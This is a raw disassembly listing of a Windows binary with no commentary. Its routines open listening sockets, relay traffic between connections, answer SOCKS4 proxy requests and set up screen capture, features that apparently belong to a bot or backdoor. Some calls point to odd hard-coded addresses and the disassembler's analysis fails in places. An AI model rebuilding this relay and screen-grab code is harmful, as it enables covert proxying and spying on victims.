var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_43F6A8
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_43C848[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_407252
		push	8
		call	sub_416FA4
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_407A4D
		mov	esi, offset dword_43D7E8
		push	esi
		nop
		call	near ptr 26C0000h
		push	80000400h
		push	esi
		nop
		call	near ptr 26B0B0Ch
		test	eax, eax
		jnz	short loc_407A4D
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B4F0
		push	eax
		call	sub_4172B0
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_407A37
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40D679
		add	esp, 14h


loc_407A37:				; CODE XREF: sub_40797F+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40BF6D
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_407A4D:				; CODE XREF: sub_40797F+63j
					; sub_40797F+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, dword_424064
		mov	edi, ebx
		mov	dword_43C84C[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_407B1A


loc_407A6B:				; CODE XREF: sub_40797F+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B4A8
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	8
		push	eax
		call	sub_416D5C
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_4450C4[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_407767
		push	ebx
		push	ebx
		call	near ptr 2660D4Bh
		nop
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_407AE5


loc_407ADA:				; CODE XREF: sub_40797F+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_407B0C
		push	1Eh
		call	esi
		jmp	short loc_407ADA
; ---------------------------------------------------------------------------


loc_407AE5:				; CODE XREF: sub_40797F+159j
		call	near ptr 2630313h
		nop
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B45C
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40BF6D
		add	esp, 10h


loc_407B0C:				; CODE XREF: sub_40797F+15Ej
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_407A6B


loc_407B1A:				; CODE XREF: sub_40797F+E6j
		cmp	[ebp+var_30], ebx
		jz	loc_407BC4
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi


loc_407B2F:				; CODE XREF: sub_40797F+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_43C848[eax*8]
		push	eax
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B408
		push	eax
		call	sub_4172B0
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_407B7D
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40D679
		add	esp, 14h


loc_407B7D:				; CODE XREF: sub_40797F+1DFj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+var_2C]
		mov	[esp+1DCh+var_1DC], 0BB8h
		mov	dword_43C84C[eax*8], ebx
		call	esi
		push	8
		call	sub_416FA4
		cmp	eax, 1
		pop	ecx
		jnz	short loc_407BB4
		push	offset dword_43D7E8
		call	near ptr 26C0000h
		nop


loc_407BB4:				; CODE XREF: sub_40797F+228j
		push	[ebp+var_2C]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 25E02EAh


loc_407BC4:				; CODE XREF: sub_40797F+19Ej
					; sub_40797F+25Dj
		mov	eax, [ebp+var_2C]
		cmp	dword_43C84C[eax*8], 1
		jnz	loc_407B2F
		push	7D0h
		call	esi
		jmp	short loc_407BC4
sub_40797F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407BDE	proc near		; DATA XREF: sub_40EE72+36DFo

var_34C		= byte ptr -34Ch
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		push	10h
		mov	[eax+120h], edi
		pop	ebx
		lea	eax, [ebp+var_10]
		push	ebx
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_40]
		call	dword_43F668
		push	6
		push	edi
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], esi
		mov	[ebp+arg_0], ebx
		call	dword_43F6E8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_407D42
		mov	eax, [ebp+var_3C]
		push	edi
		imul	eax, 234h
		push	401h
		push	esi
		push	ebx
		mov	dword_4450CC[eax], ebx
		call	dword_43F584
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43F694
		test	eax, eax
		jnz	loc_407D42
		push	0Ah
		push	ebx
		call	dword_43F690
		test	eax, eax
		jnz	loc_407D42


loc_407C88:				; CODE XREF: sub_407BDE+BEj
					; sub_407BDE+13Fj
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	dword_43F6FC
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_407C88
		movzx	eax, [ebp+var_22]
		push	[ebp+var_3C]
		mov	[ebp+var_148], edi
		mov	[ebp+var_2C], esi
		push	eax
		push	[ebp+var_20]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_34C]
		push	offset unk_42B584
		push	eax
		call	sub_4172B0
		push	edi
		lea	eax, [ebp+var_34C]
		push	10h
		push	eax
		call	sub_416D5C
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_4450C4[eax], ecx
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_14C]
		push	esi
		push	eax
		push	offset loc_407D66
		push	esi
		push	esi
		call	near ptr 2660D4Bh
		nop
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_4450D4[ecx], eax
		jz	short loc_407D2D


loc_407D1A:				; CODE XREF: sub_407BDE+14Dj
		cmp	[ebp+var_2C], esi
		jnz	loc_407C88
		push	32h
		nop
		call	near ptr 25F0439h
		jmp	short loc_407D1A
; ---------------------------------------------------------------------------


loc_407D2D:				; CODE XREF: sub_407BDE+13Aj
		call	near ptr 2630313h
		nop
		push	eax
		push	offset unk_42B538
		call	sub_40BFE1
		pop	ecx
		pop	ecx
		jmp	short loc_407D45
; ---------------------------------------------------------------------------


loc_407D42:				; CODE XREF: sub_407BDE+61j
					; sub_407BDE+93j ...
		mov	edi, [ebp+arg_0]


loc_407D45:				; CODE XREF: sub_407BDE+162j
		push	edi
		call	dword_43F700
		push	ebx
		call	dword_43F700
		push	[ebp+var_3C]
		call	sub_417078
		pop	ecx
		push	esi
		nop
		call	near ptr 25E02EAh
		pop	edi
		pop	esi
		pop	ebx
sub_407BDE	endp ; sp-analysis failed



loc_407D66:				; DATA XREF: sub_407BDE+11Co
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_417B30
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_43F6E8
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_407F1C
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_43F668
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_43F6A8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_407DF6
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_43F6EC
		jmp	short loc_407E04
; ---------------------------------------------------------------------------


loc_407DF6:				; CODE XREF: ___:00407DE5j
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_43F620


loc_407E04:				; CODE XREF: ___:00407DF4j
		cmp	eax, edi
		jz	loc_407F1C
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jz	loc_407F1C
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_42B62C
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp-344h]
		push	10h
		push	eax
		call	sub_416D5C
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_4450CC[ebx]
		mov	dword_4450C4[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_4450D0[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_407F4D
		push	edi
		push	edi
		call	near ptr 2660D4Bh
		nop
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_4450D4[ecx], eax
		jz	short loc_407F09


loc_407EB6:				; CODE XREF: ___:00407EC3j
		cmp	[ebp-20h], edi
		jnz	short loc_407EC5
		push	32h
		nop
		call	near ptr 25F0439h
		jmp	short loc_407EB6
; ---------------------------------------------------------------------------


loc_407EC5:				; CODE XREF: ___:00407EB9j
		mov	ebx, 1000h


loc_407ECA:				; CODE XREF: ___:00407F05j
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_43F680
		cmp	eax, edi
		jle	short loc_407F1C
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407ECA
		jmp	short loc_407F1C
; ---------------------------------------------------------------------------


loc_407F09:				; CODE XREF: ___:00407EB4j
		nop
		call	near ptr 2630313h
		push	eax
		push	offset unk_42B5DC
		call	sub_40BFE1
		pop	ecx
		pop	ecx


loc_407F1C:				; CODE XREF: ___:00407DAAj
					; ___:00407E06j ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_4450CC[eax]
		call	dword_43F700
		push	dword ptr [ebp+8]
		call	dword_43F700
		push	dword ptr [ebp-4]
		call	sub_417078
		pop	ecx
		push	edi
		call	near ptr 25E02EAh
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_407F4D:				; DATA XREF: ___:00407E96o
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_417B30
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_407F84:				; CODE XREF: ___:00407FC9j
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_4450D0[esi]
		call	dword_43F680
		test	eax, eax
		jle	short loc_407FCB
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_4450CC[esi]
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407F84


loc_407FCB:				; CODE XREF: ___:00407FAEj
		push	dword_4450D0[esi]
		call	dword_43F700
		push	dword ptr [ebp-14h]
		call	sub_417078
		pop	ecx
		push	0
		nop
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------
		add	al, [ebx+5E5F021Dh]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407FEA	proc near		; DATA XREF: sub_40EE72+5E51o

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
var_4C8		= byte ptr -4C8h
var_2D4		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_C8		= byte ptr -0C8h
var_44		= byte ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	word ptr [ebp+var_14], 2
		push	[ebp+var_40]
		call	dword_43F668
		push	6
		push	edi
		push	2
		mov	word ptr [ebp+var_14+2], ax
		mov	[ebp+var_10], esi
		call	dword_43F6E8
		mov	edi, eax
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	ebx
		mov	dword_4450CC[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_43F694
		test	eax, eax
		jnz	loc_40818C
		push	0Ah
		push	edi
		call	dword_43F690
		test	eax, eax
		jnz	loc_40818C
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B75C
		push	eax
		call	sub_4172B0
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_4080C5
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_40D679
		add	esp, 14h


loc_4080C5:				; CODE XREF: sub_407FEA+B9j
					; sub_407FEA+172j ...
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_43F6FC
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B708
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2D4]
		push	11h
		push	eax
		call	sub_416D5C
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_4450C4[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset loc_4081EF
		push	esi
		push	esi
		call	near ptr 2660D4Bh
		nop
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_4450D4[ecx], eax
		jz	short loc_40816C


loc_408159:				; CODE XREF: sub_407FEA+180j
		cmp	[ebp+var_28], esi
		jnz	loc_4080C5
		push	5
		nop
		call	near ptr 25F0439h
		jmp	short loc_408159
; ---------------------------------------------------------------------------


loc_40816C:				; CODE XREF: sub_407FEA+16Dj
		call	near ptr 2630313h
		nop
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B6C0
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_4080C5
; ---------------------------------------------------------------------------


loc_40818C:				; CODE XREF: sub_407FEA+7Bj
					; sub_407FEA+8Cj
		push	edi
		call	dword_43F700
		push	[ebp+var_40]
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B680
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4081CF
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_40D679
		add	esp, 14h


loc_4081CF:				; CODE XREF: sub_407FEA+1C3j
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_3C]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25E02EAh
		pop	edi
		pop	esi
		pop	ebx


loc_4081EF:				; DATA XREF: sub_407FEA+14Fo
		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		push	1
		mov	[ebp+arg_0], esi
		imul	esi, 234h
		pop	edi
		lea	esi, dword_4450CC[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	dword_43F650
		test	eax, eax
		jnz	short loc_408270
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 25E02EAh


loc_408270:				; CODE XREF: sub_407FEA+26Cj
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	dword_43F680
		test	eax, eax
		jg	short loc_4082A1
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 25E02EAh


loc_4082A1:				; CODE XREF: sub_407FEA+29Dj
		cmp	[ebp+var_4D0], 4
		jnz	loc_40849B
		cmp	[ebp+var_4CF], 1
		jnz	loc_40849B
		cmp	[ebp+var_44], bl
		jz	short loc_408337
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408337
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	offset unk_42B830
		call	sub_40BFE1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	sub_417330
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43F6B8
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 25E02EAh


loc_408337:				; CODE XREF: sub_407FEA+2D4j
					; sub_407FEA+2EAj
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_417330
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	dword_43F6E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4083CF
		call	dword_43F5FC
		push	eax
		push	offset unk_42B7E4
		call	sub_40BFE1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_417330
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43F6B8
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 25E02EAh


loc_4083CF:				; CODE XREF: sub_407FEA+386j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40843E
		call	dword_43F5FC
		push	eax
		push	offset unk_42B794
		call	sub_40BFE1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_417330
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43F6B8
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 25E02EAh


loc_40843E:				; CODE XREF: sub_407FEA+3F5j
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43F6B8
		push	dword ptr [esi]
		push	edi
		call	sub_4084B3
		pop	ecx
		pop	ecx
		push	edi
		call	dword_43F700
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 25E02EAh


loc_40849B:				; CODE XREF: sub_407FEA+2BEj
					; sub_407FEA+2CBj
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 25E02EAh
sub_407FEA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4084B3	proc near		; CODE XREF: sub_407FEA+48Bp

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4084C9:				; CODE XREF: sub_4084B3+C5j
					; sub_4084B3+F5j
		mov	[ebp+var_100], ebx
		mov	[ebp+var_104], 1
		xor	ecx, ecx
		lea	eax, [ebp+var_100]


loc_4084E1:				; CODE XREF: sub_4084B3+3Cj
		mov	edx, [ebp+arg_0]
		cmp	[eax], edx
		jz	short loc_4084F1
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4084E1


loc_4084F1:				; CODE XREF: sub_4084B3+33j
		cmp	ecx, 1
		jnz	short loc_408506
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2


loc_408506:				; CODE XREF: sub_4084B3+41j
		push	esi
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_43F650
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_43F560
		test	eax, eax
		jz	short loc_408566
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	ebx
		call	dword_43F680
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085AE
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085AE


loc_408566:				; CODE XREF: sub_4084B3+85j
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F560
		test	eax, eax
		jz	loc_4084C9
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43F680
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085AE
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4084C9


loc_4085AE:				; CODE XREF: sub_4084B3+9Aj
					; sub_4084B3+B1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4084B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4085B3	proc near		; CODE XREF: sub_40EE72+45B1p

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_43F654
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4087E7
		push	8
		push	edi
		call	dword_43F670
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_43F670
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_43F670
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_408615
		push	18h
		push	edi
		call	dword_43F670
		mov	ebx, 100h
		jmp	short loc_408617
; ---------------------------------------------------------------------------


loc_408615:				; CODE XREF: sub_4085B3+50j
		xor	ebx, ebx


loc_408617:				; CODE XREF: sub_4085B3+60j
		push	edi
		call	dword_43F6B4
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4087CC
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
